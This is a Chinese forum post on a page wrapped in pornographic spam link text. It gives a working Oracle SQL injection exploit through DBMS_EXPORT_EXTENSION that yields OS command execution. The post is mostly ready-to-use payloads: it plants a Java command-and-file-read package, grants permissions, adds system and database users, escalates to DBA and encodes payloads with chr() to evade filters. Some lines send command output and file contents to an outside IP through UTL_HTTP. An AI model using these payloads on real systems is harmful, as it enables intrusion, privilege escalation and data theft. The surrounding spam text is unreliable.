九九99在线视频-九九99香蕉在线视频美国毛片-九九99热久久精品在线9-九九99热-九九99久久精品在免费线bt-九九99久久

以文本方式查看主題

-  曙海教育集團論壇  (http://www.adgdgn.cn/bbs/index.asp)
--  Oracle數據庫  (http://www.adgdgn.cn/bbs/list.asp?boardid=65)
----  犀利的 oracle 注入技術  (http://www.adgdgn.cn/bbs/dispbbs.asp?boardid=65&id=2503)

--  作者:wangxinxin
--  發布時間:2010-12-11 11:04:20
--  犀利的 oracle 注入技術
介紹一個在web上通過oracle注入直接取得主機cmdshell的方法。

以下的演示都是在web上的sql plus執行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and \'1\'<>\'a\'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" \'a\'|| "是為了讓語句返回true值)

語句有點長,可能要用post提交。

以下是各個步驟:
1.創建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數,在oracle上創建Java包LinxUtil,里面兩個函數,runCMD用于執行系統命令,readFile用于讀取文件:
/xxx.jsp?id=1 and \'1\'<>\'a\'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數塊去掉,即:
/xxx.jsp?id=1 and \'1\'<>\'a\'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'begin dbms_java.grant_permission( \'\'\'\'\'\'\'\'PUBLIC\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'SYS:java.io.FilePermission\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'<<ALL FILES>>\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'execute\'\'\'\'\'\'\'\' );end;\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

3.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name \'\'\'\'\'\'\'\'LinxUtil.runCMD(java.lang.String) return String\'\'\'\'\'\'\'\';   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name \'\'\'\'\'\'\'\'LinxUtil.readFile(java.lang.String) return String\'\'\'\'\'\'\'\';   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

4.賦public執行函數的權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on LinxRunCMD to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on LinxReadFile to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

5.測試上面的幾步是否成功

and \'1\'<>\'11\'||(
select  OBJECT_ID from all_objects where  object_name =\'LINXRUNCMD\'
)
and \'1\'<>(
select  OBJECT_ID from all_objects where  object_name =\'LINXREADFILE\'
)
6.執行命令:

/xxx.jsp?id=1 and \'1\'<>(
select  sys.LinxRunCMD(\'cmd /c net user linx /add\') from dual
)

/xxx.jsp?id=1 and \'1\'<>(
select  sys.LinxReadFile(\'c:/boot.ini\') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and \'1\'<>"。
如果要查看運行結果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD(\'cmd /c net user linx /add\') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and \'1\'<>(
SELECT UTL_HTTP.request(\'http://211.71.147.3/record.php?a=LinxRunCMD:\'||REPLACE(REPLACE(sys.LinxRunCMD(\'cmd /c net user aaa /del\'),\' \',\'%20\'),\'\\n\',\'%0A\')) FROM dual
)

/xxx.jsp?id=1 and \'1\'<>(
SELECT UTL_HTTP.request(\'http://211.71.147.3/record.php?a=LinxRunCMD:\'||REPLACE(REPLACE(sys.LinxReadFile(\'c:/boot.ini\'),\' \',\'%20\'),\'\\n\',\'%0A\')) FROM dual
)
注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內部變化
通過以下命令可以查看all_objects表達改變:
select  * from all_objects where  object_name like \'%LINX%\' or  object_name like \'%Linx%\'
7.刪除我們創建的函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
drop function LinxRunCMD  \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual



====================================================
全文結束。謹以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
CREATE USER linxsql IDENTIFIED BY linxsql\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username=\'LINXSQL\'
)
給linxsql連接權限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
GRANT CONNECT TO linxsql\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
drop user LINXSQL\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

======================
以下方法創建一個可以執行多語句的函數Linx_query(),執行成功的話返回數值"1",但權限是繼承的,可能僅僅是public權限,作用似乎不大,真的要用到話可以考慮grant dba to 當前的User:

1.jsp?id=1 and \'1\'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
) and ...

1.jsp?id=1 and \'1\'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on Linx_query to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
) and ...
1.jsp?id=1 and \'1\'<>(
SELECT sys.Linx_Query(\'SELECT 14554 FROM DUAL\') FROM DUAL
) and ...

1.jsp?id=1 and \'1\'<>(
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
select 1 from dual
\'\'; commit; end;\') from dual
) and ...

多語句:
SELECT sys.Linx_Query(\'declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;\') from dual

創建用戶(除非當前用戶有system權限,否則無法成功):
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
\'\'; commit; end;\') from dual


================
以下的方法是先建立函數Linx_Query(),再建立 RunCMD2()
1.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual;

如果有權限,以下語句應該允許正常
select sys.linx_query(\'select 1 from dual\') from dual;
不然的話運行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
grant dba to 當前的User\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual


2.創建包
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";return str;}}\'\'; commit; end;\') from dual
3.創建函數
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name \'\'\'\'LinxUtil2.RunCMD(java.lang.String) return String\'\'\'\';\'\'; commit; end;\') from dual
4.給權限
給用戶SYSTEM執行權限:
SELECT sys.Linx_Query(\'declare pragma autonomous_transaction;begin dbms_java.grant_permission( \'\'SYSTEM\'\', \'\'SYS:java.io.FilePermission\'\', \'\'<<ALL FILES>>\'\', \'\'execute\'\' );end;\') from dual

5.執行函數
select RunCMD2(\'cmd /c dir\') from dual

主站蜘蛛池模板: 极品无码av国模在线观看 | 青青草青娱乐 | 美女大黄网站 | 古装三级做爰在线观看 | 国产乱人内谢69xxxx亚洲 | 五月婷婷中文 | 国产不卡视频一区二区三区 | 国产精品久久久久一区二区 | 成人乱人乱一区二区三区 | 吻乳三级视频 | 日韩午夜精品 | 亚洲国色天香卡2卡3卡4 | 亚洲国产精品免费 | 日本一区二区三区视频在线播放 | 亚洲乱码日产精品bd在线看 | 亚洲精品久久久久中文第一幕 | 国产精品亚韩精品无码a在线 | 狂揉吃奶胸高潮视频免费 | 成人毛片在线播放 | 国产sm在线 | 久久久精品人妻一区二区三区 | 国产精品99精品无码视亚 | 国产又黄又硬又粗 | 亚洲女人天堂 | 国产a视频| 欧美乱妇高清无乱码一级特黄 | 国产青青在线 | 欧美mv日韩mv国产网站app | 国产人碰人摸人爱免费视频 | 一个人在线免费观看www | 四虎国产成人永久精品免费 | 91精品观看| 任你躁国产自任一区二区三区 | 97超碰站| 免费网站在线高清观看 | 日本视频免费在线播放 | 国产麻花豆剧传媒精品mv在线 | 夜夜高潮久久做爽久久 | 97青青草| 国产成人无码精品午夜福利a | 亚洲 欧美 国产 制服 动漫 | 强迫凌虐淫辱の牝奴在线观看 | 欧美性做爰大片免费 | 久久99国产精品久久99果冻传媒新版本 | www一区二区www免费 | 中文在线а天堂中文在线新版 | 久久深夜福利 | 日日碰狠狠躁久久躁96avv | 影音先锋女人aa鲁色资源 | 色偷偷一区二区三区 | 中文字幕69页 | 国产又粗又猛又黄又爽无遮挡 | 国产地址一 | 99夜夜| 欧洲精品视频在线 | 成人av免费观看 | 天天碰天天干 | 色老汉av一区二区三区 | 欧美一级做 | 18禁黄网站男男禁片免费观看 | 亚洲韩欧美第25集完整版 | 日本国产视频 | 国产精品tv | 亚洲熟妇av日韩熟妇在线 | 亚洲成a∨人片在线观看不卡 | 一二三国产777avav | 香蕉免费毛片视频 | 国产成人精品电影在线观看 | 免费观看又污又黄的网站 | 国产精品色综合一区二区三区 | 成人av在线一区二区三区 | 葵司av三级在线看 | 国产一区二区毛片 | 人妻无码一区二区三区 | 国产精品老热丝在线观看 | 综合网婷婷| x88av在线| 久久国产一区 | 最新国产中文字幕 | 日日干狠狠干 | 亚洲国产日韩a在线播放 | 三级视频网 | 欧美日本国产欧美日本韩国99 | 欧美高清在线精品一区 | 国产麻豆剧果冻传媒白晶晶 | 青青操视频在线观看 | xxx性欧美 | 国产边打电话边做对白刺激 | 国产原创精品 | 91麻豆国产福利在线观看 | 欧美性猛交xxxⅹ乱大交小说一 | 日韩一区二区三区不卡 | 日本精品网 | 精品久久久久久中文字幕大豆网 | 日本毛片高清免费视频 | 精品女同一区二区三区 | 91一区视频| 友田真希中文字幕在线视频中 | 成人一区二区在线 | 欧美日韩精品亚洲精品 | 开心春色激情网 | 在线| 屁屁影院国产第一页 | 精国产品一区二区三区四季综 | 国产一级片免费播放 | 免费看黄色毛片 | 91porn国产成人| 国产精品夜间视频香蕉 | 国产免费又爽又色又粗视频 | 天堂91| 成年人在线观看av | 黄色三级免费 | 日本sm极度另类视频 | 久久久久夜夜夜精品国产 | a级黄色录像 | 一区二区三区在线观看免费 | 欧美性受ⅹ╳╳╳黑人a性爽 | 亚洲欧美另类在线 | 免费成人91 | 神马久久久久久久久 | 夜夜草| 九色视频国产 | 99re在线播放| 成人影视在线播放 | 精品国产乱码91久久久久久网站 | 久久伊人在 | 中文人妻熟妇乱又伦精品 | 8x8ⅹ8成人免费视频观看 | 色综合久久久无码中文字幕 | 欧美日韩国产成人一区 | 成人无码精品一区二区三区 | sm在线看| 婷婷激情五月网 | 亚洲成av人片不卡无码手机版 | 超碰97成人| 国产九九热 | 国产精品久久久久久久龚玥菲 | 日日碰狠狠添天天爽 | 中文字幕无码不卡一区二区三区 | 中文人妻无码一区二区三区信息 | 久操色| 国内精品一区二区 | 九九国产视频 | 人妻无码αv中文字幕久久琪琪布 | 免费无码国产v片在线观看 任我撸在线视频 | 日本中文字幕在线视频 | 欧美一区二区三区精品 | 久久日本香蕉一区二区三区 | 香蕉国产精品 | 亚洲丰满熟女一区二区v | 成在人线av | 色综合视频在线观看 | 就要操av| 日本少妇高潮叫床声一区二 | 欧美视频第二页 | 日韩一区精品视频一区二区 | 国产亚洲精品久久久97蜜臀 | 久久亚洲高潮流白浆av软件 | 国产高中女学生第一次 | 美女视频黄频大全免费 | 无码一区二区三区av免费 | 亚洲一卡2卡三卡四卡精品 曰批免费视频播放免费 | 妺妺窝人体色www在线下载 | 97国产婷婷综合在线视频 | 99久久久国产精品免费蜜臀 | 二区在线播放 | 久久美女免费视频 | 欧美亚一区二区 | 夜鲁夜鲁狠鲁天天在线 | 欧美亚洲综合网 | 天堂男人在线 | 青青草免费在线视频 | 成人做爰高潮片免费视频九九九 | 亚洲人成无码网站久久99热国产 | 国产人与禽zoz0性伦 | 国产96在线 | 亚洲 | a级特黄的片子 | 国产精品有码 | 69亚洲精品久久久蜜桃小说 | 男女无遮挡xx00动态图120秒 | 国产一区二区不卡 | 欧洲一区二区视频 | 亚洲精品国产乱码在线看蜜月 | 亚洲精品视频在线观看免费视频 | av无码免费永久在线观看 | 亚洲高清在线观看 | 亚洲欧美国产精品专区久久 | 欧美一区二区三区成人片在线 | 黄色片视频网站 | 祥仔av免费一区二区三区四区 | 妞干网精品 | 夜夜嗨av一区二区三区 | 亚洲国产综合在线 | 色婷婷在线观看视频 | 久久免费少妇高潮久久精品99 | 国产一区二区在线观看视频 | 亚洲熟女乱综合一区二区 | 日本va欧美va欧美va精品 | 美女伦理水蜜桃4 | 夜夜躁很很躁日日躁2020铜川 | 好吊爽在线播放视频 | 观看免费av | 国产一级免费 | 91亚洲精品一区二区乱码 | 成人做爰高潮片免费视频九九九 | 欧美精品日韩精品 | 国产一区影院 | 国产刺激视频 | 精品在线视频免费观看 | 欧美日韩1区2区3区 欧美日韩3p | 大屁股肥熟女流白浆 | 午夜小视频网站 | 亚州一二区| 激情网站在线 | av全黄| 亚洲伊人伊色伊影伊综合网 | 噜噜噜在线 | 在线免费看av网站 | 亚洲欧美成人中文日韩电影网站 | 五月亚洲综合 | 三级做爰高清视频 | 国产黄色成人 | 国产精品1688网站 | 国语自产拍91在线a拍拍 | 隣の若妻さん波多野结衣 | 国产精品区av| 香港经典a毛片免费观看播放 | 欧美一级片在线播放 | 亚洲视频黄色 | 免费无码成人片 | 欧美视频一区二区三区四区在线观看 | 亚洲精品亚洲人成人网 | 99热网址| 国产亚洲成av人在线观看导航 | 久久久橹橹橹久久久久高清 | 69视频污| 成年人在线观看网站 | 国产成人三级在线播放 | www久久久天天com | 久久久精品美女 | 久久久成人精品 | 日韩精品在线观看一区二区 | 精品国产一区二区三区2021 | 青青草视频免费观看 | 少妇中出视频 | 国产亚洲精品久久久久久青梅 | 爱性久久久久久久久 | 三级a做爰一女二男 | 麻豆久久久久久 | av在线浏览 | 精品国产人成亚洲区 | 日本大乳高潮视频在线观看 | 国产三级精品三级在专区 | 天堂网在线资源 | 日本久久爱 | 亚洲少妇xxx | 免费乱淫视频 | 黄色片一级毛片 | 天堂va在线| 日本熟妇大乳 | 久久精品国产一区二区三区 | 国产免费高清视频1l.com.com.com少 | 精品乱人码一区二区二区 | 一级片视频在线 | 天天做天天摸天天爽欧美一区 | 国产精品亚洲专区无码不卡 | 国产小视频免费 | 波多野结衣视频播放 | 国产精品久久777777毛茸茸 | 精品一区二区久久久久久久网站 | 成人伊人网 | 在线视频se | 亚洲码与欧洲码一二三四区 | 一区二区三区不卡在线 | 亚洲精品午夜久久久久久久久久久 | 亚洲精品456在线播放牛牛影院 | 亚洲精品国产一区二区精华液 | av在线手机版 | jizz欧洲| 亚洲一区二区精品在线 | 成人无码精品1区2区3区免费看 | h视频在线看 | 午夜1000集| 国产女人高潮视频在线观看 | 亚洲最大的熟女水蜜桃av网站 | 无码人妻丰满熟妇啪啪 | 国产刺激的三3p交换视频 | 国产女优在线播放 | 韩国r级hd中文字幕 韩国r级大尺度激情做爰外出 | 日韩精品中文字幕无码一区 | 夜夜夜高潮夜夜爽夜夜爰爰 | 亚洲视频天堂 | 三女同志亚洲人狂欢 | 中文字幕一区二区三 | 久草视频手机在线观看 | 涩涩97| 国产性生大片免费观看性 | 国产瑟瑟视频 | 久久av无码精品人妻出轨 | 欧美不卡网 | 国产精品h片在线播放 | 夜夜艹天天干 | 亚洲色偷精品一区二区三区 | 亚洲精品久久久久久下一站 | 小萝莉末成年一区二区 | 国产综合图区 | 国产又色又爽又黄又免费文章 | 中文无码一区二区不卡av | 菲律宾av | 亚洲高清国产拍精品网络战 | 成人午夜性视频 | 日批网址| 人人揉人人捏人人添 | 超碰在线小说 | 午夜无码一区二区三区在线观看 | 成人免费看片又大又黄 | 性久久久久久久久 | 性欧美精品中出 | 国产色网站| 成人传媒 | 污视频免费网站 | 69xxxx在线观看 | 少妇人妻互换不带套 | 警花系列乱肉辣文小说 | yy6080午夜八戒国产亚洲 | 影音先锋中文字幕在线视频 | 最新av导航| 51久久国产露脸精品国产 | 亚洲精品中文字幕一区二区三区 | 欧美精品久久久久久久久老牛影院 | 国产精品人人做人人爽 | 在线免费观看av网址 | 国产精品视频一区二区三区四区国 | 久久男女视频 | 污视频网站在线看 | 欧洲裸体片 | 双腿张开被9个黑人调教影片 | 日本一卡二卡不卡视频查询 | 成人av网站在线播放 | 一区不卡在线 | 寡妇av | 97成人免费视频 | 国产精品69久久久久999小说 | 亚洲人成无码网站在线观看 | jvid精品视频hd在线 | 日本黄视频在线观看 | 精品国产一区二区在线 | 精品国产日韩亚洲一区 | 国内精品久久久久久久久久久久 | 青草视频免费在线观看 | 狠狠干狠狠干 | 国产吃瓜黑料一区二区 | 激情午夜av| 强奷乱码中文字幕熟女一 | 一级美女大片 | 精品毛片一区二区 | 日韩精品字幕 | 91精品国产二区在线看大桥未久 | 亚洲第一av| 91嫩草精品 | 亚洲欧美一级久久精品国产特黄 | 自拍在线视频 | 91久久香蕉国产日韩欧美9色 | 怡红院最新网址 | 日韩视频 中文字幕 | 午夜av成人 | 亚洲第一在线综合网站 | аⅴ资源中文在线天堂 | 欧美乱码精品一区 | 久久综合亚洲色一区二区三区 | 国产精品久久久久永久免费看 | 四虎av在线播放 | 日韩精品一区二区av在线 | 日韩国产在线一区 | 忘忧草在线社区www中国中文 | 男女啪啪做爰高潮无遮挡 | 久久夜色精品亚洲噜噜国产mv | 久久人人爽人人爽人人片av高请 | 成人性生活免费视频 | 正在播放国产真实哭都没用 | 国产精品乱码一区二区 | 夜夜高潮夜夜爽夜夜爱爱 | 美女久久久 | 国产chinesehd精品露脸 | 欧美你懂的 | 综合网五月 | 在线免费观看亚洲视频 | 国产乱人伦偷精品视频 | 免费人成视频 | 未满十八18禁止午夜免费网站 | wwwav麻豆| 性开放少妇xxxxⅹ视频蜜桃 | 欧美五月 | 久久久久久久性潮 | 成人午夜网址 | 欧美精品在线一区 | 超碰公开免费 | 欧美人与动牲交免费观看网 | 成人深夜小视频 | 91超级碰 | 欧美一区二区国产 | 99精品视频国产 | zzzwww在线看片免费 | 成年人看的黄色 | 色婷婷综合中文久久一本 | 欧美色老头 | blacked欧美极品一区 | 日本亲子乱子伦xxxx30路 | 国产精品xxx大片免费观看 | 久久福利视频导航 | 无人在线观看的免费高清视频 | 一本一道av无码中文字幕﹣百度 | 日韩精品免费一区二区在线观看 | 国产乱码一区 | 国产一区二区日韩 | 国产精品99久久久久久夜夜嗨 | 亚洲精品久久久久久久久久久久久 | 香蕉99久久国产综合精品宅男自 | 色欲综合一区二区三区 | 五十路av在线 | 国产精品swag | 日产成品片a直接观看 | av片子在线观看 | 丰满人妻一区二区三区视频53 | 亚洲视频a| 午夜视频在线播放一三 | 亚洲精品久久久久一区二区三区 | 色婷婷中文 | 好看的中文字幕av | 国产无套粉嫩白浆内谢在线 | 国产福利短视频 | 三级大片在线观看 | 国产又爽又黄视频 | 刘玥91精选国产在线观看 | 国产福利第一视频 | 国产免费福利 | 国产伦精品一区二区三区千人斩 | 91亚洲天堂 | 狠狠色丁香婷婷综合最新地址 | 精品久久久无码人妻中文字幕 | 欧美日韩精品亚洲精品 | 中国浓毛少妇毛茸茸 | 国产玉足脚交欧美一区二区 | 97夜夜澡人人波多野结衣 | 国产精品乱码久久久久久1区2区 | 99久久国产热无码精品免费 | 国产精品区二区三区日本 | 中文在线a在线 | 中文天堂资源在线 | 永久免费未满视频 | 国内自拍第23页 | 自拍偷拍国产精品 | 国内自拍xxxx18 | 农村末发育av片一区二区 | 色综合久久综合欧美综合网 | 美女撒尿毛片视频免费看 | 国产尤物av尤物在线看 | 久久伊人网视频 | 又黄又爽又刺激久久久久亚洲精品 | 成人5g影院_天天5g天天看 | 影音先锋在线中文字幕 | 在火车千女人毛片看看 | 久久综合色88 | 免费观看日本污污ww网站 | 亚洲中文无码永久免费 | 九九热精品在线观看 | 欧美色炮| 夜久久久| 国产精品国产三级在线专区 | 97成人超碰 | av青青草| 亚洲处破女av日韩精品 | youjizz亚洲 | 99精品免费久久久久久久久日本 | 日韩成人无码一区二区三区 | 夜夜躁人人爽天天天天大学生 | 欧美精品在线一区二区 | 欧美看片| a级高清毛片 | 谁有av网址 | 老牛嫩草一区二区三区消防 | 超碰免费在线 | 超碰公开免费 | 一本久久综合亚洲鲁鲁五月天 | 亚洲天堂导航 | 国产成人无码午夜视频在线观看 | 色综合一区 | 人妻毛片网站 | 两根大肉大捧一进一出好爽视频 | 黄色操人 | 手机看片一区二区 | 18禁真人抽搐一进一出免费 | 日韩精品一区二区免费视频 | 亚洲一区二区三区影视 | 精品粉嫩超白一线天av | www国产成人| 日本免费一二三区视频 | 久久艹逼 | 欧美一区二区三区免费视频 | 俄罗斯15一18性视频 | 亚洲自偷精品视频自拍 | 国产精品成熟老女人 | 久久国产精品影视 | 另类sb东北妇女av | 性生活三级视频 | 中文字幕乱码熟妇五十中出 | 性猛交富婆╳xxx乱大交视频 | 久久午夜无码免费 | 影音先锋成人网 | 久久久人成影片一区二区三区 | 中文在线天堂网www 在线视频观看免费视频18 | 久久精品aⅴ无码中文字字幕重口 | 一本到综在合线伊人 | 可以免费看的av网站 | 欧美性激情 | 成人三及片 | 国产在线欧美 | 999久久久精品 | 男女做爰全过程69视频 | 少妇性xxxx性开放黄色 | 亚洲天堂首页 | 午夜小网站 | 国产成人aaa | 日韩av无码免费播放 | 国产精品人人爽人人爽av | 国产成人专区 | 